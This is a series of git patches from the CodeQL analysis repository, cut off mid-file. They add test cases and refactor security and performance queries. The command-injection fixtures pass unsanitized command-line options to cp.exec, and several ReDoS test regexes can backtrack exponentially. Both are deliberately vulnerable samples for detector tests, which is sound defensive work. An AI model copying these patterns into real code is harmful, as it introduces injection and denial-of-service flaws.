command-line-parameter-command-injection.js:136:22:136:35 | program.opts() | command-line-parameter-command-injection.js:136:10:136:45 | "cmd.sh ... zzaType | This command depends on an unsanitized $@. | command-line-parameter-command-injection.js:136:22:136:35 | program.opts() | command-line argument | +| command-line-parameter-command-injection.js:136:10:136:45 | "cmd.sh ... zzaType | command-line-parameter-command-injection.js:136:22:136:45 | program ... zzaType | command-line-parameter-command-injection.js:136:10:136:45 | "cmd.sh ... zzaType | This command depends on an unsanitized $@. | command-line-parameter-command-injection.js:136:22:136:45 | program ... zzaType | command-line argument | +| command-line-parameter-command-injection.js:137:10:137:38 | "cmd.sh ... zzaType | command-line-parameter-command-injection.js:133:10:133:16 | program | command-line-parameter-command-injection.js:137:10:137:38 | "cmd.sh ... zzaType | This command depends on an unsanitized $@. | command-line-parameter-command-injection.js:133:10:133:16 | program | command-line argument | +| command-line-parameter-command-injection.js:137:10:137:38 | "cmd.sh ... zzaType | command-line-parameter-command-injection.js:137:22:137:38 | program.pizzaType | command-line-parameter-command-injection.js:137:10:137:38 | "cmd.sh ... zzaType | This command depends on an unsanitized $@. | command-line-parameter-command-injection.js:137:22:137:38 | program.pizzaType | command-line argument | +| command-line-parameter-command-injection.js:145:10:145:45 | "cmd.sh ... zzaType | command-line-parameter-command-injection.js:145:22:145:35 | program.opts() | command-line-parameter-command-injection.js:145:10:145:45 | "cmd.sh ... zzaType | This command depends on an unsanitized $@. | command-line-parameter-command-injection.js:145:22:145:35 | program.opts() | command-line argument | +| command-line-parameter-command-injection.js:145:10:145:45 | "cmd.sh ... zzaType | command-line-parameter-command-injection.js:145:22:145:45 | program ... zzaType | command-line-parameter-command-injection.js:145:10:145:45 | "cmd.sh ... zzaType | This command depends on an unsanitized $@. | command-line-parameter-command-injection.js:145:22:145:45 | program ... zzaType | command-line argument | +| command-line-parameter-command-injection.js:146:10:146:38 | "cmd.sh ... zzaType | command-line-parameter-command-injection.js:146:22:146:38 | program.pizzaType | command-line-parameter-command-injection.js:146:10:146:38 | "cmd.sh ... zzaType | This command depends on an unsanitized $@. | command-line-parameter-command-injection.js:146:22:146:38 | program.pizzaType | command-line argument | diff --git a/javascript/ql/test/query-tests/Security/CWE-078/command-line-parameter-command-injection.js b/javascript/ql/test/query-tests/Security/CWE-078/command-line-parameter-command-injection.js index b4f866ee6de..62aacbfb77a 100644 --- a/javascript/ql/test/query-tests/Security/CWE-078/command-line-parameter-command-injection.js +++ b/javascript/ql/test/query-tests/Security/CWE-078/command-line-parameter-command-injection.js @@ -127,4 +127,21 @@ cp.exec("cmd.sh " + require("optimist").argv.foo); // NOT OK var opts = parser.parse(); cp.exec("cmd.sh " + opts.foo); // NOT OK -}) \ No newline at end of file +}); + +(function () { + const { program } = require('commander'); + program.version('0.0.1'); + + cp.exec("cmd.sh " + program.opts().pizzaType); // NOT OK + cp.exec("cmd.sh " + program.pizzaType); // NOT OK +}); + +(function () { + const { Command } = require('commander'); + const program = new Command(); + program.version('0.0.1'); + + cp.exec("cmd.sh " + program.opts().pizzaType); // NOT OK + cp.exec("cmd.sh " + program.pizzaType); // NOT OK +}); \ No newline at end of file From 4cea019cee04787bfaf5b8cdaca06f3198074e5b Mon Sep 17 00:00:00 2001 From: james Date: Fri, 27 Nov 2020 12:26:42 +0000 Subject: [PATCH 0090/1241] add/improve intro text and add links to example queries --- docs/codeql/query-help/cpp.rst | 4 ++++ docs/codeql/query-help/csharp.rst | 4 ++++ docs/codeql/query-help/go.rst | 4 ++++ docs/codeql/query-help/index.rst | 10 +++++----- docs/codeql/query-help/java.rst | 4 ++++ docs/codeql/query-help/javascript.rst | 4 ++++ docs/codeql/query-help/python.rst | 4 ++++ docs/codeql/reusables/query-help-overview.rst | 5 +++++ 8 files changed, 34 insertions(+), 5 deletions(-) create mode 100644 docs/codeql/reusables/query-help-overview.rst diff --git a/docs/codeql/query-help/cpp.rst b/docs/codeql/query-help/cpp.rst index 6240f0d4418..55dcd64ecd7 100644 --- a/docs/codeql/query-help/cpp.rst +++ b/docs/codeql/query-help/cpp.rst @@ -1,5 +1,9 @@ C and C++ query help ===================== +.. include:: ../reusables/query-help-overview.rst + +For shorter queries that you can use as building blocks when writing your own queries, see the `example queries in the CodeQL repository `__. + .. include:: toc-cpp.rst \ No newline at end of file diff --git a/docs/codeql/query-help/csharp.rst b/docs/codeql/query-help/csharp.rst index 7bc55ad7f6b..04849628d80 100644 --- a/docs/codeql/query-help/csharp.rst +++ b/docs/codeql/query-help/csharp.rst @@ -1,4 +1,8 @@ C# query help ============= +.. include:: ../reusables/query-help-overview.rst + +For shorter queries that you can use as building blocks when writing your own queries, see the `example queries in the CodeQL repository `__. + .. include:: toc-csharp.rst \ No newline at end of file diff --git a/docs/codeql/query-help/go.rst b/docs/codeql/query-help/go.rst index 6909b328443..5b2c3293698 100644 --- a/docs/codeql/query-help/go.rst +++ b/docs/codeql/query-help/go.rst @@ -1,4 +1,8 @@ Go query help ============= +.. include:: ../reusables/query-help-overview.rst + +For shorter queries that you can use as building blocks when writing your own queries, see the `example queries in the CodeQL repository `__. + .. include:: toc-go.rst \ No newline at end of file diff --git a/docs/codeql/query-help/index.rst b/docs/codeql/query-help/index.rst index 9c668c2fcb4..52112b5d073 100644 --- a/docs/codeql/query-help/index.rst +++ b/docs/codeql/query-help/index.rst @@ -1,17 +1,17 @@ CodeQL query help ----------------- -Use the sidebar to view the query help for the queries included in the "code scanning" and "security extended" query suites for a single language. +View the query help for the queries included in the ``code-scanning``, ``security-extended``, and ``security-and-quality`` query suites for the languages supported by CodeQL. -Each query help page includes: +Each query help article includes: -- A summary of key metadata for the query +- A summary of key metadata for the query. +- Information about which query suites the query is included in. - A link to the query in the `CodeQL repository `__ -- Help information to explain what potential vulnerability the query identifies and a recommendation for how to avoid introducing the problem in your code +- Help information to explain what potential vulnerability the query identifies and a recommendation for how to avoid introducing the problem to your code. .. toctree:: :titlesonly: - :hidden: cpp csharp diff --git a/docs/codeql/query-help/java.rst b/docs/codeql/query-help/java.rst index 2aaa2a20f23..315a902249a 100644 --- a/docs/codeql/query-help/java.rst +++ b/docs/codeql/query-help/java.rst @@ -1,4 +1,8 @@ Java query help =============== +.. include:: ../reusables/query-help-overview.rst + +For shorter queries that you can use as building blocks when writing your own queries, see the `example queries in the CodeQL repository `__. + .. include:: toc-java.rst \ No newline at end of file diff --git a/docs/codeql/query-help/javascript.rst b/docs/codeql/query-help/javascript.rst index 48b5a9adf17..0aa50f940e0 100644 --- a/docs/codeql/query-help/javascript.rst +++ b/docs/codeql/query-help/javascript.rst @@ -1,4 +1,8 @@ JavaScript query help ===================== +.. include:: ../reusables/query-help-overview.rst + +For shorter queries that you can use as building blocks when writing your own queries, see the `example queries in the CodeQL repository `__. + .. include:: toc-javascript.rst \ No newline at end of file diff --git a/docs/codeql/query-help/python.rst b/docs/codeql/query-help/python.rst index d71129bb318..a28c8e8d385 100644 --- a/docs/codeql/query-help/python.rst +++ b/docs/codeql/query-help/python.rst @@ -1,4 +1,8 @@ Python query help ================= +.. include:: ../reusables/query-help-overview.rst + +For shorter queries that you can use as building blocks when writing your own queries, see the `example queries in the CodeQL repository `__. + .. include:: toc-python.rst \ No newline at end of file diff --git a/docs/codeql/reusables/query-help-overview.rst b/docs/codeql/reusables/query-help-overview.rst new file mode 100644 index 00000000000..76d0d56b993 --- /dev/null +++ b/docs/codeql/reusables/query-help-overview.rst @@ -0,0 +1,5 @@ +Visit the articles below to see the documentation for the queries included in the following query suites: + +- ``code-scanning``: queries run by default in code scanning. +- ``security-extended``: queries from ``code-scanning``, plus extra security queries with slightly lower precision and severity. +- ``security-and-quality``: queries from ``code-scanning``, ``security-and-quality``, plus extra maintainability and reliability queries. \ No newline at end of file From e177d46c0af47cc3ff6f71eff800eb25e3169fb7 Mon Sep 17 00:00:00 2001 From: Erik Krogh Kristensen Date: Thu, 26 Nov 2020 10:04:53 +0100 Subject: [PATCH 0091/1241] add two test cases that demonstrate the limits of the suffix construction --- .../ql/test/query-tests/Performance/ReDoS/ReDoS.expected | 2 ++ javascript/ql/test/query-tests/Performance/ReDoS/tst.js | 6 ++++++ 2 files changed, 8 insertions(+) diff --git a/javascript/ql/test/query-tests/Performance/ReDoS/ReDoS.expected b/javascript/ql/test/query-tests/Performance/ReDoS/ReDoS.expected index 721bcd4f8ec..7ce91dcf237 100644 --- a/javascript/ql/test/query-tests/Performance/ReDoS/ReDoS.expected +++ b/javascript/ql/test/query-tests/Performance/ReDoS/ReDoS.expected @@ -121,3 +121,5 @@ | tst.js:299:90:299:91 | e+ | This part of the regular expression may cause exponential backtracking on strings starting with '00000000000000' and containing many repetitions of 'e'. | | tst.js:302:18:302:19 | c+ | This part of the regular expression may cause exponential backtracking on strings starting with 'ab' and containing many repetitions of 'c'. | | tst.js:305:18:305:20 | \\s+ | This part of the regular expression may cause exponential backtracking on strings containing many repetitions of ' '. | +| tst.js:308:16:308:24 | ([^/]\|X)+ | This part of the regular expression may cause exponential backtracking on strings containing many repetitions of 'X'. | +| tst.js:311:20:311:24 | [^Y]+ | This part of the regular expression may cause exponential backtracking on strings starting with 'x' and containing many repetitions of 'Xx'. | diff --git a/javascript/ql/test/query-tests/Performance/ReDoS/tst.js b/javascript/ql/test/query-tests/Performance/ReDoS/tst.js index aaa257c160b..822aa3724ba 100644 --- a/javascript/ql/test/query-tests/Performance/ReDoS/tst.js +++ b/javascript/ql/test/query-tests/Performance/ReDoS/tst.js @@ -303,3 +303,9 @@ var bad66 = /^ab(c+)+$/; // NOT GOOD var bad67 = /(\d(\s+)*){20}/; + +// GOOD - but we spuriously conclude that a rejecting suffix exists. +var good36 = /(([^/]|X)+)(\/[^]*)*$/; + +// GOOD - but we spuriously conclude that a rejecting suffix exists. +var good37 = /^((x([^Y]+)?)*(Y|$))/; From 36b9f0254e1e8eef27f5f13a5a417e6d01635e7a Mon Sep 17 00:00:00 2001 From: Erik Krogh Kristensen Date: Thu, 26 Nov 2020 20:49:57 +0100 Subject: [PATCH 0092/1241] performance improvements for suffix check in js/redos --- javascript/ql/src/Performance/ReDoS.ql | 40 +++++++++++++++++++------- 1 file changed, 30 insertions(+), 10 deletions(-) diff --git a/javascript/ql/src/Performance/ReDoS.ql b/javascript/ql/src/Performance/ReDoS.ql index 71ee1515be7..99ef1eeb2ac 100644 --- a/javascript/ql/src/Performance/ReDoS.ql +++ b/javascript/ql/src/Performance/ReDoS.ql @@ -1022,20 +1022,41 @@ module SuffixConstruction { * Holds if there likely exists a suffix starting from `s` that leads to the regular expression being rejected. * This predicate might find impossible suffixes when searching for suffixes of length > 1, which can cause FPs. */ + pragma[nomagic] private predicate isLikelyRejectable(StateInPumpableRegexp s) { // exists a reject edge with some char. - hasRejectEdge(s, _) + hasRejectEdge(s) or + hasEdgeToLikelyRejectable(s) + or + // stopping here is rejection + isRejectState(s) + } + + /** + * Holds if `s` is not an accept state, and there is no epsilon transition to an accept state. + */ + predicate isRejectState(StateInPumpableRegexp s) { not epsilonSucc*(s) = Accept(_) } + + /** + * Holds if there is likely a non-empty suffix leading to rejection starting in `s`. + */ + predicate hasEdgeToLikelyRejectable(StateInPumpableRegexp s) { // all edges (at least one) with some char leads to another state that is rejectable. // the `next` states might not share a common suffix, which can cause FPs. exists(string char | char = relevant() | - forex(State next | deltaClosed(s, getAnInputSymbolMatching(char), next) | - isLikelyRejectable(next) - ) + forex(State next | deltaClosedChar(s, char, next) | isLikelyRejectable(next)) ) - or - // stopping here is rejection - not epsilonSucc*(s) = Accept(_) + } + + /** + * Holds if there is a state `next` that can be reached from `prev` + * along epsilon edges, such that there is a transition from + * `prev` to `next` that the character symbol `char`. + */ + predicate deltaClosedChar(StateInPumpableRegexp prev, string char, StateInPumpableRegexp next) { + char = relevant() and + deltaClosed(prev, getAnInputSymbolMatching(char), next) } /** @@ -1047,9 +1068,8 @@ module SuffixConstruction { * Holds if there is no edge from `s` labeled `char` in our NFA. * The NFA does not model reject states, so the above is the same as saying there is a reject edge. */ - private predicate hasRejectEdge(StateInPumpableRegexp s, string char) { - char = relevant() and - not deltaClosed(s, getAnInputSymbolMatching(char), _) + private predicate hasRejectEdge(State s) { + exists(string char | char = relevant() | not deltaClosedChar(s, char, _)) } /** From 8a3e87fe42b0e642dec2fdd64ca7aaea4bb1ae49 Mon Sep 17 00:00:00 2001 From: Erik Krogh Kristensen Date: Thu, 26 Nov 2020 23:08:34 +0100 Subject: [PATCH 0093/1241] remove unnecessary one-step inline --- javascript/ql/src/Performance/ReDoS.ql | 10 ++-------- 1 file changed, 2 insertions(+), 8 deletions(-) diff --git a/javascript/ql/src/Performance/ReDoS.ql b/javascript/ql/src/Performance/ReDoS.ql index 99ef1eeb2ac..7cec69f8df3 100644 --- a/javascript/ql/src/Performance/ReDoS.ql +++ b/javascript/ql/src/Performance/ReDoS.ql @@ -887,14 +887,8 @@ StatePair getAForkPair(State fork) { predicate isPumpable(State fork, string w) { exists(StatePair q, Trace t | isReachableFromFork(fork, q, t, _) and - ( - q = getAForkPair(fork) and w = concretise(t) - or - exists(InputSymbol s1, InputSymbol s2 | - step(q, s1, s2, getAForkPair(fork)) and - w = concretise(Step(s1, s2, t)) - ) - ) + q = getAForkPair(fork) and + w = concretise(t) ) } From 46ca56458a8a50ad1bdebe03f0f29c685dee2902 Mon Sep 17 00:00:00 2001 From: Erik Krogh Kristensen Date: Thu, 26 Nov 2020 23:44:49 +0100 Subject: [PATCH 0094/1241] introduce a printable state class --- javascript/ql/src/Performance/ReDoS.ql | 22 ++++++++++++++++------ 1 file changed, 16 insertions(+), 6 deletions(-) diff --git a/javascript/ql/src/Performance/ReDoS.ql b/javascript/ql/src/Performance/ReDoS.ql index 7cec69f8df3..a6e19db550f 100644 --- a/javascript/ql/src/Performance/ReDoS.ql +++ b/javascript/ql/src/Performance/ReDoS.ql @@ -734,13 +734,9 @@ predicate step(StatePair q, InputSymbol s1, InputSymbol s2, State r1, State r2) stateInsideBacktracking(r2) } -/** - * A list of pairs of input symbols that describe a path in the product automaton - * starting from some fork state. - */ -newtype Trace = +private newtype TTrace = Nil() or - Step(InputSymbol s1, InputSymbol s2, Trace t) { + Step(InputSymbol s1, InputSymbol s2, TTrace t) { exists(StatePair p | isReachableFromFork(_, p, t, _) and step(p, s1, s2, _) @@ -749,6 +745,20 @@ newtype Trace = t = Nil() and isFork(_, s1, s2, _, _) } +/** + * A list of pairs of input symbols that describe a path in the product automaton + * starting from some fork state. + */ +class Trace extends TTrace { + string toString() { + this = Nil() and result = "Nil()" + or + exists(InputSymbol s1, InputSymbol s2, Trace t | this = Step(s1, s2, t) | + result = "Step(" + s1 + ", " + s2 + ", " + t + ")" + ) + } +} + /** * Gets the minimum char that is matched by both the character classes `c` and `d`. */ From ad0ac5b874158a0601498ee9d11dfd4b01abf3ef Mon Sep 17 00:00:00 2001 From: luchua-bc Date: Fri, 27 Nov 2020 16:43:57 +0000 Subject: [PATCH 0095/1241] Change kind to problem --- .../CWE-312/CleartextStorageSharedPrefs.ql | 3 +-- .../CleartextStorageSharedPrefs.expected | 21 ------------------- 2 files changed, 1 insertion(+), 23 deletions(-) diff --git a/java/ql/src/experimental/Security/CWE/CWE-312/CleartextStorageSharedPrefs.ql b/java/ql/src/experimental/Security/CWE/CWE-312/CleartextStorageSharedPrefs.ql index ddc88bda54b..e505b4fc6cd 100644 --- a/java/ql/src/experimental/Security/CWE/CWE-312/CleartextStorageSharedPrefs.ql +++ b/java/ql/src/experimental/Security/CWE/CWE-312/CleartextStorageSharedPrefs.ql @@ -1,7 +1,7 @@ /** * @name Cleartext storage of sensitive information using `SharedPreferences` on Android * @description Cleartext Storage of Sensitive Information using SharedPreferences on Android allows access for users with root privileges or unexpected exposure from chained vulnerabilities. - * @kind path-problem + * @kind problem * @id java/android/cleartext-storage-shared-prefs * @tags security * external/cwe/cwe-312 @@ -14,7 +14,6 @@ import semmle.code.java.dataflow.TaintTracking import semmle.code.java.frameworks.android.Intent import semmle.code.java.frameworks.android.SharedPreferences import semmle.code.java.security.SensitiveActions -import DataFlow::PathGraph /** Holds if the method call is a setter method of `SharedPreferences`. */ private predicate sharedPreferencesInput(DataFlow::Node sharedPrefs, Expr input) { diff --git a/java/ql/test/experimental/query-tests/security/CWE-312/CleartextStorageSharedPrefs.expected b/java/ql/test/experimental/query-tests/security/CWE-312/CleartextStorageSharedPrefs.expected index ad8b4416e75..ab1db3fe099 100644 --- a/java/ql/test/experimental/query-tests/security/CWE-312/CleartextStorageSharedPrefs.expected +++ b/java/ql/test/experimental/query-tests/security/CWE-312/CleartextStorageSharedPrefs.expected @@ -1,22 +1 @@ -edges -| CleartextStorageSharedPrefs.java:16:19:16:36 | edit(...) : Editor | CleartextStorageSharedPrefs.java:17:3:17:8 | editor | -| CleartextStorageSharedPrefs.java:16:19:16:36 | edit(...) : Editor | CleartextStorageSharedPrefs.java:18:3:18:8 | editor | -| CleartextStorageSharedPrefs.java:16:19:16:36 | edit(...) : Editor | CleartextStorageSharedPrefs.java:19:3:19:8 | editor | -| CleartextStorageSharedPrefs.java:25:19:25:36 | edit(...) : Editor | CleartextStorageSharedPrefs.java:28:3:28:8 | editor | -| CleartextStorageSharedPrefs.java:44:19:44:36 | edit(...) : Editor | CleartextStorageSharedPrefs.java:47:3:47:8 | editor | -nodes -| CleartextStorageSharedPrefs.java:16:19:16:36 | edit(...) : Editor | semmle.label | edit(...) : Editor | -| CleartextStorageSharedPrefs.java:17:3:17:8 | editor | semmle.label | editor | -| CleartextStorageSharedPrefs.java:18:3:18:8 | editor | semmle.label | editor | -| CleartextStorageSharedPrefs.java:18:32:18:39 | password | semmle.label | password | -| CleartextStorageSharedPrefs.java:19:3:19:8 | editor | semmle.label | editor | -| CleartextStorageSharedPrefs.java:25:19:25:36 | edit(...) : Editor | semmle.label | edit(...) : Editor | -| CleartextStorageSharedPrefs.java:28:3:28:8 | editor | semmle.label | editor | -| CleartextStorageSharedPrefs.java:44:19:44:36 | edit(...) : Editor | semmle.label | edit(...) : Editor | -| CleartextStorageSharedPrefs.java:46:32:46:42 | encPassword | semmle.label | encPassword | -| CleartextStorageSharedPrefs.java:47:3:47:8 | editor | semmle.label | editor | -| CleartextStorageSharedPrefs.java:67:32:67:39 | password | semmle.label | password | -| CleartextStorageSharedPrefs.java:87:32:87:39 | password | semmle.label | password | -| CleartextStorageSharedPrefs.java:105:27:105:34 | password | semmle.label | password | -#select | CleartextStorageSharedPrefs.java:19:3:19:17 | commit(...) | 'SharedPreferences' class $@ containing $@ is stored here. Data was added $@. | CleartextStorageSharedPrefs.java:16:19:16:36 | edit(...) | edit(...) | CleartextStorageSharedPrefs.java:18:32:18:39 | password | sensitive data | CleartextStorageSharedPrefs.java:18:32:18:39 | password | here | From cbfcfdf883784c1420b1bc8c3981064069436798 Mon Sep 17 00:00:00 2001 From: Rasmus Wriedt Larsen Date: Fri, 27 Nov 2020 17:54:22 +0100 Subject: [PATCH 0096/1241] Python: Fix UntrustedDataToExternalAPI.qhelp --- .../CWE-020-ExternalAPIs/UntrustedDataToExternalAPI.qhelp | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/python/ql/src/Security/CWE-020-ExternalAPIs/UntrustedDataToExternalAPI.qhelp b/python/ql/src/Security/CWE-020-ExternalAPIs/UntrustedDataToExternalAPI.qhelp index aaeeb8dc02d..fc7f1a18da9 100644 --- a/python/ql/src/Security/CWE-020-ExternalAPIs/UntrustedDataToExternalAPI.qhelp +++ b/python/ql/src/Security/CWE-020-ExternalAPIs/UntrustedDataToExternalAPI.qhelp @@ -64,7 +64,7 @@ would suggest that this external API is not currently modeled as a taint step in taint tracking library. The next step would be to model this as a taint step, then re-run the query to determine what additional results might be found. In this example, the result of the Base64 decoding is pickled, which can result in remote code execution due -to unsafe deserialization. +to unsafe deserialization.

    Note that both examples are correctly handled by the standard taint tracking library and Unsafe Deserialization query.

    From 905b04a6fb8f9784a08bac3a71d6629b18214a5e Mon Sep 17 00:00:00 2001 From: Geoffrey White <40627776+geoffw0@users.noreply.github.com> Date: Fri, 27 Nov 2020 18:30:30 +0000 Subject: [PATCH 0097/1241] C++: Model classes in StdString.qll. --- .../cpp/models/implementations/StdString.qll | 121 ++++++++++++++---- 1 file changed, 94 insertions(+), 27 deletions(-) diff --git a/cpp/ql/src/semmle/code/cpp/models/implementations/StdString.qll b/cpp/ql/src/semmle/code/cpp/models/implementations/StdString.qll index 1e52a5ea6bd..2a2eba43ded 100644 --- a/cpp/ql/src/semmle/code/cpp/models/implementations/StdString.qll +++ b/cpp/ql/src/semmle/code/cpp/models/implementations/StdString.qll @@ -13,6 +13,11 @@ import semmle.code.cpp.models.interfaces.DataFlow */ private class StdBasicString extends TemplateClass { StdBasicString() { this.hasQualifiedName("std", "basic_string") } + + Declaration getAnInstMemberNamed(string name) { + result = getAnInstantiation().getAMember() and + result.hasName(name) + } } /** @@ -24,7 +29,7 @@ private class StdBasicString extends TemplateClass { * ``` */ private class StdStringConstructor extends Constructor, TaintFunction { - StdStringConstructor() { this.getDeclaringType().hasQualifiedName("std", "basic_string") } + StdStringConstructor() { this = any(StdBasicString s).getAnInstantiation().getAMember() } /** * Gets the index of a parameter to this function that is a string (or @@ -69,7 +74,9 @@ private class StdStringConstructor extends Constructor, TaintFunction { * The `std::string` function `c_str`. */ private class StdStringCStr extends TaintFunction { - StdStringCStr() { this.hasQualifiedName("std", "basic_string", "c_str") } + StdStringCStr() { + this = any(StdBasicString s).getAnInstMemberNamed("c_str") + } override predicate hasTaintFlow(FunctionInput input, FunctionOutput output) { // flow from string itself (qualifier) to return value @@ -82,7 +89,9 @@ private class StdStringCStr extends TaintFunction { * The `std::string` function `data`. */ private class StdStringData extends TaintFunction { - StdStringData() { this.hasQualifiedName("std", "basic_string", "data") } + StdStringData() { + this = any(StdBasicString s).getAnInstMemberNamed("data") + } override predicate hasTaintFlow(FunctionInput input, FunctionOutput output) { // flow from string itself (qualifier) to return value @@ -100,7 +109,9 @@ private class StdStringData extends TaintFunction { * The `std::string` function `push_back`. */ private class StdStringPush extends TaintFunction { - StdStringPush() { this.hasQualifiedName("std", "basic_string", "push_back") } + StdStringPush() { + this = any(StdBasicString s).getAnInstMemberNamed("push_back") + } override predicate hasTaintFlow(FunctionInput input, FunctionOutput output) { // flow from parameter to qualifier @@ -113,7 +124,9 @@ private class StdStringPush extends TaintFunction { * The `std::string` functions `front` and `back`. */ private class StdStringFrontBack extends TaintFunction { - StdStringFrontBack() { this.hasQualifiedName("std", "basic_string", ["front", "back"]) } + StdStringFrontBack() { + this = any(StdBasicString s).getAnInstMemberNamed(["front", "back"]) + } override predicate hasTaintFlow(FunctionInput input, FunctionOutput output) { // flow from object to returned reference @@ -123,7 +136,7 @@ private class StdStringFrontBack extends TaintFunction { } /** - * The `std::string` function `operator+`. + * The (non-member) `std::string` function `operator+`. */ private class StdStringPlus extends TaintFunction { StdStringPlus() { @@ -148,7 +161,7 @@ private class StdStringPlus extends TaintFunction { */ private class StdStringAppend extends TaintFunction { StdStringAppend() { - this.hasQualifiedName("std", "basic_string", ["operator+=", "append", "insert", "replace"]) + this = any(StdBasicString s).getAnInstMemberNamed(["operator+=", "append", "insert", "replace"]) } /** @@ -190,7 +203,9 @@ private class StdStringAppend extends TaintFunction { * The standard function `std::string.assign`. */ private class StdStringAssign extends TaintFunction { - StdStringAssign() { this.hasQualifiedName("std", "basic_string", "assign") } + StdStringAssign() { + this = any(StdBasicString s).getAnInstMemberNamed("assign") + } /** * Gets the index of a parameter to this function that is a string (or @@ -230,7 +245,9 @@ private class StdStringAssign extends TaintFunction { * The standard function `std::string.copy`. */ private class StdStringCopy extends TaintFunction { - StdStringCopy() { this.hasQualifiedName("std", "basic_string", "copy") } + StdStringCopy() { + this = any(StdBasicString s).getAnInstMemberNamed("copy") + } override predicate hasTaintFlow(FunctionInput input, FunctionOutput output) { // copy(dest, num, pos) @@ -243,7 +260,9 @@ private class StdStringCopy extends TaintFunction { * The standard function `std::string.substr`. */ private class StdStringSubstr extends TaintFunction { - StdStringSubstr() { this.hasQualifiedName("std", "basic_string", "substr") } + StdStringSubstr() { + this = any(StdBasicString s).getAnInstMemberNamed("substr") + } override predicate hasTaintFlow(FunctionInput input, FunctionOutput output) { // substr(pos, num) @@ -252,13 +271,25 @@ private class StdStringSubstr extends TaintFunction { } } +/** + * The `std::basic_stringstream` template class. + */ +private class StdBasicStringStream extends TemplateClass { + StdBasicStringStream() { this.hasQualifiedName("std", "basic_stringstream") } + + Declaration getAnInstMemberNamed(string name) { + result = getAnInstantiation().getAMember() and + result.hasName(name) + } +} + /** * The standard functions `std::string.swap` and `std::stringstream::swap`. */ private class StdStringSwap extends TaintFunction { StdStringSwap() { - this.hasQualifiedName("std", "basic_string", "swap") or - this.hasQualifiedName("std", "basic_stringstream", "swap") + this = any(StdBasicString s).getAnInstMemberNamed("swap") or + this = any(StdBasicStringStream s).getAnInstMemberNamed("swap") } override predicate hasTaintFlow(FunctionInput input, FunctionOutput output) { @@ -275,7 +306,9 @@ private class StdStringSwap extends TaintFunction { * The `std::string` functions `at` and `operator[]`. */ private class StdStringAt extends TaintFunction { - StdStringAt() { this.hasQualifiedName("std", "basic_string", ["at", "operator[]"]) } + StdStringAt() { + this = any(StdBasicString s).getAnInstMemberNamed(["at", "operator[]"]) + } override predicate hasTaintFlow(FunctionInput input, FunctionOutput output) { // flow from qualifier to referenced return value @@ -293,13 +326,20 @@ private class StdStringAt extends TaintFunction { */ private class StdBasicIStream extends TemplateClass { StdBasicIStream() { this.hasQualifiedName("std", "basic_istream") } + + Declaration getAnInstMemberNamed(string name) { + result = getAnInstantiation().getAMember() and + result.hasName(name) + } } /** * The `std::istream` function `operator>>` (defined as a member function). */ private class StdIStreamIn extends DataFlowFunction, TaintFunction { - StdIStreamIn() { this.hasQualifiedName("std", "basic_istream", "operator>>") } + StdIStreamIn() { + this = any(StdBasicIStream s).getAnInstMemberNamed("operator>>") + } override predicate hasDataFlow(FunctionInput input, FunctionOutput output) { // returns reference to `*this` @@ -350,7 +390,7 @@ private class StdIStreamInNonMember extends DataFlowFunction, TaintFunction { */ private class StdIStreamGet extends TaintFunction { StdIStreamGet() { - this.hasQualifiedName("std", "basic_istream", ["get", "peek"]) and + this = any(StdBasicIStream s).getAnInstMemberNamed(["get", "peek"]) and this.getNumberOfParameters() = 0 } @@ -366,7 +406,7 @@ private class StdIStreamGet extends TaintFunction { */ private class StdIStreamRead extends DataFlowFunction, TaintFunction { StdIStreamRead() { - this.hasQualifiedName("std", "basic_istream", ["get", "read"]) and + this = any(StdBasicIStream s).getAnInstMemberNamed(["get", "read"]) and this.getNumberOfParameters() > 0 } @@ -391,7 +431,9 @@ private class StdIStreamRead extends DataFlowFunction, TaintFunction { * The `std::istream` function `readsome`. */ private class StdIStreamReadSome extends TaintFunction { - StdIStreamReadSome() { this.hasQualifiedName("std", "basic_istream", "readsome") } + StdIStreamReadSome() { + this = any(StdBasicIStream s).getAnInstMemberNamed("readsome") + } override predicate hasTaintFlow(FunctionInput input, FunctionOutput output) { // flow from qualifier to first parameter @@ -404,7 +446,9 @@ private class StdIStreamReadSome extends TaintFunction { * The `std::istream` function `putback`. */ private class StdIStreamPutBack extends DataFlowFunction, TaintFunction { - StdIStreamPutBack() { this.hasQualifiedName("std", "basic_istream", "putback") } + StdIStreamPutBack() { + this = any(StdBasicIStream s).getAnInstMemberNamed("putback") + } override predicate hasDataFlow(FunctionInput input, FunctionOutput output) { // returns reference to `*this` @@ -437,7 +481,9 @@ private class StdIStreamPutBack extends DataFlowFunction, TaintFunction { * The `std::istream` function `getline`. */ private class StdIStreamGetLine extends DataFlowFunction, TaintFunction { - StdIStreamGetLine() { this.hasQualifiedName("std", "basic_istream", "getline") } + StdIStreamGetLine() { + this = any(StdBasicIStream s).getAnInstMemberNamed("getline") + } override predicate hasDataFlow(FunctionInput input, FunctionOutput output) { // returns reference to `*this` @@ -484,6 +530,11 @@ private class StdGetLine extends DataFlowFunction, TaintFunction { */ private class StdBasicOStream extends TemplateClass { StdBasicOStream() { this.hasQualifiedName("std", "basic_ostream") } + + Declaration getAnInstMemberNamed(string name) { + result = getAnInstantiation().getAMember() and + result.hasName(name) + } } /** @@ -491,7 +542,9 @@ private class StdBasicOStream extends TemplateClass { * `put` and `write`. */ private class StdOStreamOut extends DataFlowFunction, TaintFunction { - StdOStreamOut() { this.hasQualifiedName("std", "basic_ostream", ["operator<<", "put", "write"]) } + StdOStreamOut() { + this = any(StdBasicOStream s).getAnInstMemberNamed(["operator<<", "put", "write"]) + } override predicate hasDataFlow(FunctionInput input, FunctionOutput output) { // returns reference to `*this` @@ -556,9 +609,7 @@ private class StdOStreamOutNonMember extends DataFlowFunction, TaintFunction { * input parameter. */ private class StdStringStreamConstructor extends Constructor, TaintFunction { - StdStringStreamConstructor() { - this.getDeclaringType().hasQualifiedName("std", "basic_stringstream") - } + StdStringStreamConstructor() { this = any(StdBasicStringStream s).getAnInstantiation().getAMember() } /** * Gets the index of a parameter to this function that is a string. @@ -582,7 +633,9 @@ private class StdStringStreamConstructor extends Constructor, TaintFunction { * The `std::stringstream` function `str`. */ private class StdStringStreamStr extends TaintFunction { - StdStringStreamStr() { this.hasQualifiedName("std", "basic_stringstream", "str") } + StdStringStreamStr() { + this = any(StdBasicStringStream s).getAnInstMemberNamed("str") + } override predicate hasTaintFlow(FunctionInput input, FunctionOutput output) { // flow from qualifier to return value (if any) @@ -595,15 +648,29 @@ private class StdStringStreamStr extends TaintFunction { } } +/** + * The `std::basic_ios` template class. + */ +private class StdBasicIOS extends TemplateClass { + StdBasicIOS() { this.hasQualifiedName("std", "basic_ios") } + + Declaration getAnInstMemberNamed(string name) { + result = 